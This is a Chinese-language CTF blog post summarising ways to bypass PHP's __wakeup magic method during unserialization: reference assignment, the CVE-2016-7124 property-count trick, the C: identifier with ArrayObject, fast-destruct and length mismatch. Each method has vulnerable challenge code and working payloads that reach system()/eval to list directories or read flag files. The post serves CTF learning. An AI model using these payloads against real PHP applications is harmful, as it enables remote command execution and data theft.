反序列化中_wakeup的绕过

文章目录


前言

反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。

绕过方法

变量引用

两个变量同时指向同一个内存地址

例题:UUCTF 2022 新生赛ez_unser

源代码

复制代码
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。

同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()

payload

复制代码
<?php
class test{
    public $a;
    public $b;
    public $c;  
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>

注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值

属性个数不匹配(cve-2016-7124)

影响范围:

  • PHP5 < 5.6.25

  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

例题:攻防世界 unserialize3

源代码

复制代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

分析一下,如果我们反序列化的话就会调用__wakeup()

然后就触发exit('bad requests');,我们只需要属性个数加一即可绕过

payload

复制代码
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成下面
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>

C绕过

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。

常规绕过

复制代码
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
变成下面
C:4:"User":2:{}

C进阶绕过

例题:愚人杯3rd easy_php

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

分析一下,核心是绕过_wakeup

复制代码
<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

} 
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}

我们直接改成C试试,发现根本没有命令执行的步骤

payload

复制代码
 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";
}
$a = new ArrayObject;
$a -> a = new ctfshow;
echo serialize($a);
?>

然后再编码一下,就可以得到flag

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

复制代码
//正常payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}
//删除末尾花括号payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}

其余GC回收机制

属性值的长度不匹配

具体形式

复制代码
//正常payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}
相关推荐
阿洛学长2 小时前
PHP开发框架对比:Laravel、Yii、Tp、Yaf、Swoole
php·laravel·swoole
Risehuxyc3 小时前
GetCpolar留V3版去掉V2版
php
博闻善行6 小时前
CTF之web篇(入门篇)
web安全·网络安全
FYKJ_20107 小时前
springboot同人周边订单管理系统48955-计算机毕业设计、课程设计
java·javascript·vue.js·spring boot·django·php·课程设计
云水一下16 小时前
XSS-Labs 靶场通关全记录(上):XSS 的前世今生与基础反射型实战(Level 1–10)
web安全·xss·xss-labs
火云代理19 小时前
更换网络后为什么会退出登录?分清 IP、Cookie 与会话的关系
服务器·网络·网络协议·tcp/ip·php·ip
火云代理1 天前
同一个网站,有的网络能打开、有的打不开?认识 IPv4 与 IPv6 的访问差异
服务器·网络·网络协议·tcp/ip·测试工具·php·状态模式
笑容掩饰我的失落1 天前
区块链从小白到精通(七):Solidity 语法精讲——数据类型、函数、修饰器与事件
算法·区块链·php·智能合约·哈希算法
笑容掩饰我的失落2 天前
区块链从小白到精通(八):从零实现一个标准 ERC-20 代币(完整可运行代码)
算法·区块链·php·智能合约·哈希算法
xbzb3 天前
从零容器化部署 ECShop:Harbor 私有仓库 + 自定义 PHP 镜像 + LNMP 三容器
容器·php·harbor·镜像·仓库·ecshop